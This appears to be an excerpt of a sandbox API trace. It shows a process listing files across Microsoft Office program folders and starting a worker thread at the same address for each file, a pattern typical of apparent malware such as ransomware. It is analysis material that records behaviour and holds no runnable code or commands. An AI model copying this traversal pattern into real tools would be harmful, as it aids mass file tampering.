ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="EXCEL_~1.HXK")) returned 1 [0059.865] wcscmp (_String1="EXCEL_F_COL.HXK", _String2=".") returned 1 [0059.865] wcscmp (_String1="EXCEL_F_COL.HXK", _String2="..") returned 1 [0059.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6ae8 [0059.865] wcscpy (in: _Dest=0x5ec6ae8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.865] wcscat (in: _Dest=0x5ec6ae8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.865] wcscat (in: _Dest=0x5ec6ae8, _Source="EXCEL_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" [0059.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0059.868] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="EXCEL_~2.HXK")) returned 1 [0059.868] wcscmp (_String1="EXCEL_K_COL.HXK", _String2=".") returned 1 [0059.868] wcscmp (_String1="EXCEL_K_COL.HXK", _String2="..") returned 1 [0059.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec6b70 [0059.868] wcscpy (in: _Dest=0x5ec6b70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.868] wcscat (in: _Dest=0x5ec6b70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.868] wcscat (in: _Dest=0x5ec6b70, _Source="EXCEL_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" [0059.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1218 [0059.870] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0059.871] wcscmp (_String1="EXPTOOWS.DLL", _String2=".") returned 1 [0059.871] wcscmp (_String1="EXPTOOWS.DLL", _String2="..") returned 1 [0059.871] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0059.871] wcscmp (_String1="EXPTOOWS.XLA", _String2=".") returned 1 [0059.871] wcscmp (_String1="EXPTOOWS.XLA", _String2="..") returned 1 [0059.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec6bf8 [0059.871] wcscpy (in: _Dest=0x5ec6bf8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.871] wcscat (in: _Dest=0x5ec6bf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.871] wcscat (in: _Dest=0x5ec6bf8, _Source="EXPTOOWS.XLA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" [0059.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x121c [0059.872] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0059.872] wcscmp (_String1="FACILITY.VSL", _String2=".") returned 1 [0059.872] wcscmp (_String1="FACILITY.VSL", _String2="..") returned 1 [0059.872] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec6c80 [0059.872] wcscpy (in: _Dest=0x5ec6c80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.872] wcscat (in: _Dest=0x5ec6c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.873] wcscat (in: _Dest=0x5ec6c80, _Source="FACILITY.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" [0059.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1220 [0059.874] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0059.874] wcscmp (_String1="FLOCH.VRD", _String2=".") returned 1 [0059.874] wcscmp (_String1="FLOCH.VRD", _String2="..") returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e1b8 [0059.874] wcscpy (in: _Dest=0x45e1b8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.874] wcscat (in: _Dest=0x45e1b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.874] wcscat (in: _Dest=0x45e1b8, _Source="FLOCH.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" [0059.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e1b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0062.074] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0062.074] wcscmp (_String1="FOREST.CSS", _String2=".") returned 1 [0062.074] wcscmp (_String1="FOREST.CSS", _String2="..") returned 1 [0062.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400b98 [0062.074] wcscpy (in: _Dest=0x400b98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0062.074] wcscat (in: _Dest=0x400b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0062.074] wcscat (in: _Dest=0x400b98, _Source="FOREST.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" Thread: id = 544 os_tid = 0xf70 [0049.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46b18 [0049.351] wcscpy (in: _Dest=0x5e46b18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0049.351] wcscat (in: _Dest=0x5e46b18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" [0049.351] wcscat (in: _Dest=0x5e46b18, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*" [0049.351] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425450 [0049.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b68 [0051.862] wcscmp (_String1=".", _String2=".") returned 0 [0051.862] FindNextFileW (in: hFindFile=0x409b68, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.862] wcscmp (_String1="..", _String2=".") returned 1 [0051.862] wcscmp (_String1="..", _String2="..") returned 0 [0051.862] FindNextFileW (in: hFindFile=0x409b68, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0051.862] wcscmp (_String1="MSO.ACL", _String2=".") returned 1 [0051.862] wcscmp (_String1="MSO.ACL", _String2="..") returned 1 [0051.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e46250 [0051.862] wcscpy (in: _Dest=0x5e46250, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0051.862] wcscat (in: _Dest=0x5e46250, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" [0051.862] wcscat (in: _Dest=0x5e46250, _Source="MSO.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" [0066.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e46250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64 [0066.017] FindNextFileW (in: hFindFile=0x409b68, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0066.017] FindClose (in: hFindFile=0x409b68 | out: hFindFile=0x409b68) returned 1 [0066.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425450) returned 1 [0066.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b18) returned 1 [0066.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d320) returned 1 Thread: id = 545 os_tid = 0xf74 [0049.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46b88 [0049.352] wcscpy (in: _Dest=0x5e46b88, _Source="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0049.352] wcscat (in: _Dest=0x5e46b88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" [0049.352] wcscat (in: _Dest=0x5e46b88, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*" [0049.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4873f8 [0049.352] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a068 [0051.707] wcscmp (_String1=".", _String2=".") returned 0 [0051.707] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.707] wcscmp (_String1="..", _String2=".") returned 1 [0051.707] wcscmp (_String1="..", _String2="..") returned 0 [0051.707] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0051.707] wcscmp (_String1="MSO.ACL", _String2=".") returned 1 [0051.707] wcscmp (_String1="MSO.ACL", _String2="..") returned 1 [0051.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4190b8 [0051.707] wcscpy (in: _Dest=0x4190b8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0051.707] wcscat (in: _Dest=0x4190b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" [0051.707] wcscat (in: _Dest=0x4190b8, _Source="MSO.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" [0063.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4190b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090 [0063.944] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x4873f8 | out: lpFindFileData=0x4873f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0063.944] FindClose (in: hFindFile=0x40a068 | out: hFindFile=0x40a068) returned 1 [0063.944] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4873f8) returned 1 [0063.944] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46b88) returned 1 [0063.944] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d388) returned 1 Thread: id = 546 os_tid = 0xf78 [0049.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef450 [0049.353] wcscpy (in: _Dest=0x4ef450, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0049.353] wcscat (in: _Dest=0x4ef450, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0049.353] wcscat (in: _Dest=0x4ef450, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*" [0049.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486588 [0049.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409da8 [0051.708] wcscmp (_String1=".", _String2=".") returned 0 [0051.708] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.708] wcscmp (_String1="..", _String2=".") returned 1 [0051.708] wcscmp (_String1="..", _String2="..") returned 0 [0051.708] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0051.708] wcscmp (_String1="CLNTWRAP.HTM", _String2=".") returned 1 [0051.708] wcscmp (_String1="CLNTWRAP.HTM", _String2="..") returned 1 [0051.708] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x418040 [0051.708] wcscpy (in: _Dest=0x418040, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0051.708] wcscat (in: _Dest=0x418040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0051.708] wcscat (in: _Dest=0x418040, _Source="CLNTWRAP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" [0063.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40 [0063.946] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0063.946] wcscmp (_String1="RPT2HTM4.XSL", _String2=".") returned 1 [0063.946] wcscmp (_String1="RPT2HTM4.XSL", _String2="..") returned 1 [0063.946] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x418280 [0063.946] wcscpy (in: _Dest=0x418280, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0063.946] wcscat (in: _Dest=0x418280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0063.946] wcscat (in: _Dest=0x418280, _Source="RPT2HTM4.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" [0063.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c [0063.947] FindNextFileW (in: hFindFile=0x409da8, lpFindFileData=0x486588 | out: lpFindFileData=0x486588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0063.947] wcscmp (_String1="SERVWRAP.ASP", _String2=".") returned 1 [0063.947] wcscmp (_String1="SERVWRAP.ASP", _String2="..") returned 1 [0063.947] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x12e2a798 [0063.947] wcscpy (in: _Dest=0x12e2a798, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0063.947] wcscat (in: _Dest=0x12e2a798, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0063.947] wcscat (in: _Dest=0x12e2a798, _Source="SERVWRAP.ASP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" [0063.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2a798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98 